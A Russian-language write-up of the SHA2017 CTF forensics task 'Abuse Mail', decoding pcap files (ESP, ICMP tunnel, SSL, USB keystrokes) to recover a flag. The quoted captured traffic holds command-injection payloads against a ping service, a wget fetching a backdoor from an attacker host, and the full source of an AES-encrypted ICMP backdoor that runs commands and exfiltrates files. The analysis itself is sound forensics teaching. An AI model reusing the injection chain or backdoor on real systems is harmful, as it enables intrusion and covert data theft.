SHA2017 CTF: Нужно больше трафика

в 22:04, , рубрики: ctf, forensics, information security, network, sha2017 ctf, usb, wireshark, информационная безопасность

SHA2017 CTF: Нужно больше трафика - 1

Всем доброго времени суток. Только что подошел к концу SHA2017 CTF и в этой статье, я бы хотел рассмотреть решение одного интересного таска Abuse Mail (300) из раздела Network.

Начнём. Было дано описание задания, и архив:

Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can't find what exactly has happened. Can you help us to catch the culprit?

Скачиваем и распаковываем архив, в котором нас ждут 3 *.pcap файла:
SHA2017 CTF: Нужно больше трафика - 2

abuse01.pcap

В самом начале дампа идёт telnet трафик:
SHA2017 CTF: Нужно больше трафика - 3

Промотав чуть ниже, замечаем очередную преграду, в виде множества ESP пакетов:
SHA2017 CTF: Нужно больше трафика - 4

После непродолжительного поиска в google, находим статью о том, как расшифровать ESP трафик. Просмотрев содержимое telnet пакетов, убеждаемся, что это именно то что нам нужно:
SHA2017 CTF: Нужно больше трафика - 5

Выполнив настройку Wireshark, на основе полученных данных, можем спокойно посмотреть расшифрованный трафик. Наибольший интерес, тут представляют HTTP пакеты, в самом конце дампа:
SHA2017 CTF: Нужно больше трафика - 6

В которых можно найти скрипт на Python, дающий подсказку к анализу следующих дампов:

ESP Dump

GET / HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

0

GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"

HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:41 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"

GET /?ip=google.com HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms

--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 8.062/9.094/10.332/0.819 ms
</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=google.com;ls HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms

--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms
css
index.php
</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=;ls%20-la HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>total 16
drwxr-xr-x 3 root     root     4096 Jul 26 09:36 .
drwxr-xr-x 3 root     root     4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php
</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=;id HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=;sudo%20-l HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>Matching Defaults entries for www-data on router:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on router:
    (ALL : ALL) NOPASSWD: ALL
</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/?ip=;sudo%20-l
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"

HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"

GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>--2017-07-26 09:43:36--  http://10.5.5.207/backdoor.py
Connecting to 10.5.5.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2428 (2.4K) [text/x-python]
Saving to: '/tmp/backdoor.py'

     0K ..                                                    100%  458M=0s

2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428]

</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=%3Bcat%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <title>Ping service 0.1</title>
  <meta name="description" content="Ping service 0.1">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<header class="o-header">
  <div class="o-container">
    <h1 class="o-header__title">Ping service 0.1</h1>
  </div>
</header>

<main class="o-main">
  <div class="o-container">

    <div class="o-section">
      <div id="tabs" class="c-tabs no-js">
        <div class="c-tabs-nav">
          <a href="#" class="c-tabs-nav__link is-active">
            <span>Ping System</span>
          </a>
        </div>
        <div class="c-tab">
          <div class="c-tab__content">
            <h2>Ping system</h2>
            <p>
                <pre>#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

</pre>            </p>
          </div>
        </div>
      </div>
    </div>

  </div>
</main>

<footer class="o-footer">
  <div class="o-container">
    <small>© 2017, SHA2017 CTF</small>
  </div>
</footer>

</body>
</html>
GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20& HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

backdoor.py

#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

А так же параметры для запуска этого скрипта:
SHA2017 CTF: Нужно больше трафика - 7

abuse02.pcap

Изменим немного полученный скрипт:

backdoor.patch

--- backdoor_original.py	2017-08-06 18:21:29.575844000 +0300
+++ backdoor.py	2017-08-06 18:24:20.662678100 +0300
@@ -70,22 +70,16 @@
 
 cipher = AESCipher(sys.argv[1])
 
-while True:
-    try:
-        pkts = sniff(filter="icmp", timeout=5, count=1)
-
-        for packet in pkts:
-            if str(packet.getlayer(ICMP).type) == "8":
-                input = packet[IP].load
-                if input[0:len(magic)] == magic:
-                    input = input.split(":")
-                    data = cipher.decrypt(input[1]).split(":")
-                    ip = packet[IP].src
-                    if data[0] == "command":
-                        output = run_command(data[1])
-                        send_ping(ip, magic, "command:{}".format(output))
-                    if data[0] == "getfile":
-                        # print "[+] Sending file {}".format(data[1])
-                        get_file(ip, magic, data[1])
-    except:
-        pass
+file = {}
+try:
+    pkts = rdpcap(sys.argv[2])
+    fname = ''
+    for packet in pkts:
+        if str(packet.getlayer(ICMP).type) == "8":
+            input = packet[IP].load
+            if input[0:len(magic)] == magic:
+                input = input.split(":")
+                data = cipher.decrypt(input[1]).split(":")
+                print('[*] DATA: %s' % data)
+except:
+    pass

Нам не нужно чтобы скрипт перехватывал сетевые пакеты и выполнял команды, вместо этого теперь он читает полученный дамп трафика, и выводит его содержимое в консоль. Применим эти изменения, и запустим его:

$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse02.pcap

Среди полученного вывода, наибольший интерес для нас представляют сертификаты:
SHA2017 CTF: Нужно больше трафика - 8

Сохраним их себе, они нам ещё понадобятся. Из интересного, в самом конце можно заметить, отправку 2-х команд для активации перехвата трафика внутри сети, и с HID-устройств:
SHA2017 CTF: Нужно больше трафика - 9

abuse03.pcap

Запустив тот же скрипт для последнего дампа, можно заметить, что он содержит команды на получение созданных ранее дампов, так как файлы перед отправкой разбиваются на множество частей, а склеивать в ручную всё это лень, то внесём в backdoor.py, ещё пару изменений:

backdoor.patch

--- backdoor.py	2017-08-06 18:40:20.763604400 +0300
+++ backdoor.py	2017-08-06 18:39:42.072949300 +0300
@@ -68,8 +68,16 @@
         t.join()
 
 
-cipher = AESCipher(sys.argv[1])
+def save_file(data, fname):
+    file = open(fname, 'w')
+    txt = ''
+    for x in range(len(data)):
+        txt += data[x]
+    file.write(base64.urlsafe_b64decode(txt))
+    file.close()
+
 
+cipher = AESCipher(sys.argv[1])
 file = {}
 try:
     pkts = rdpcap(sys.argv[2])
@@ -81,5 +89,17 @@
                 input = input.split(":")
                 data = cipher.decrypt(input[1]).split(":")
                 print('[*] DATA: %s' % data)
+                ip = packet[IP].src
+                if data[1].isdigit():
+                    file[int(data[1])] = data[2]
+                else:
+                    fname = data[1]
+                    save_file(file, 'intranet.pcap')
+                    file = {}
+                if data[0] == "command":
+                    pass
+                if data[0] == "getfile":
+                    print "[+] Sending file {}".format(data[1])
+    save_file(file, 'usb.pcap')
 except:
     pass

Применяем и запускаем:

$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse03.pcap

На выходе, получаем 2 файла: intranet.pcap и usb.pcap:
SHA2017 CTF: Нужно больше трафика - 10

Первый дамп содержит SSL трафик, поэтому предварительно, нужно добавить найденный ранее сертификат. Переходим Edit -> Preferences -> Protocols -> SSL:

RSA key list
IP address: 192.168.1.2
Port: 443
Protocol: data
Key File: intranet.key

Применив настройки, извлекаем единственный архив secret.zip:
SHA2017 CTF: Нужно больше трафика - 11

И казалось бы, всё. Архив у нас, в архиве флаг, осталось его только забрать. Но! Авторы видимо решили максимально осложнить жизнь, тем кто будет решать их таск, зашифровав содержимое архива паролем:
SHA2017 CTF: Нужно больше трафика - 12

Вспоминаем, про второй дамп usb.pcap, ещё пара запросов в гугл, и находим статью и скрипт, с помощью которого можно прочитать содержимое этого дампа.
Добавив в скрипт поддержку большего количества скан-кодов, и проверку нажатия клавиши shift — это байт по смещению 0x40. На скрине ниже «желтым квадратом» отмечен скан-код, а «желтым прямоугольником» — байт состояния клавиши shift, так же нам понадобится URB id:
SHA2017 CTF: Нужно больше трафика - 13

В итоге, получаем такой вариант keyboard.py, для парсинга USB пакетов:

#!/usr/bin/python
import binascii
import dpkt
import struct
import sys

# Start the pcap file parsing
f = open(sys.argv[1], 'rb')
pcap = dpkt.pcap.Reader(f)

# Create a partial mapping from keycodes to ASCII chars
keys = {}
keys.update({
    i + 0x4: chr(i + ord('a'))
    for i in range(26)
})
keys.update({
    i + 0x1e: chr(i + ord('1'))
    for i in range(9)
})
keys[0x27] = '0'
keys.update({
    0x28: 'n',
    0x2b: 't',
    0x2c: ' ',
    0x2d: '-',
    0x2e: '=',
    0x2f: '[',
    0x30: ']',
    0x31: '\',
    0x33: ';',
    0x34: ''',
    0x35: '`',
    0x36: ',',
    0x37: '.',
    0x38: '/',
})
keys_shift = {}
keys_shift.update({
    i + 0x4: chr(i + ord('A'))
    for i in range(26)
})
keys_shift.update({
    0x1e: '!',
    0x1f: '@',
    0x20: '#',
    0x21: '$',
    0x22: '%',
    0x23: '^',
    0x24: '&',
    0x25: '*',
    0x26: '(',
    0x27: ')',
    0x2e: '+',
    0x2f: '{',
    0x30: '}',
    0x31: '|',
    0x33: ':',
    0x34: '"',
    0x35: '~',
    0x36: '<',
    0x37: '>',
    0x38: '?',
})

txt = ''
# Then iterate over each USB frame
i = 0
for ts, buf in pcap:
    # We are interested only in packets that has the expected URB id, and
    # packets carrying keycodes embed exactly 8 bytes.
    urb_id = ''.join(reversed(buf[:8]))
    i += 1
    if binascii.hexlify(urb_id) != 'ffff8800290f2ac0':
        continue
    data_length, = struct.unpack('<I', buf[0x24:0x28])
    if data_length != 8:
        continue
    key_code = ord(buf[0x42])
    shift_state = ord(buf[0x40])
    if not key_code:
        continue
    if shift_state:
        # print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys_shift[key_code]))
        txt += keys_shift[key_code]
    else:
        # print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys[key_code]))
        txt += keys[key_code]
    # sys.stdout.write(keys[key_code])
print(txt)

После запуска скрипт выводит все нажатые клавиши:
SHA2017 CTF: Нужно больше трафика - 14

Отлично, у нас есть пароль, пора распаковать архив и наконец-то забрать флаг:
SHA2017 CTF: Нужно больше трафика - 15

Задание пройдено. За этот флаг можно было получить +300 очков в команду.
Спасибо организаторам, за такой интересный таск!

Автор: GH0st3rs

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js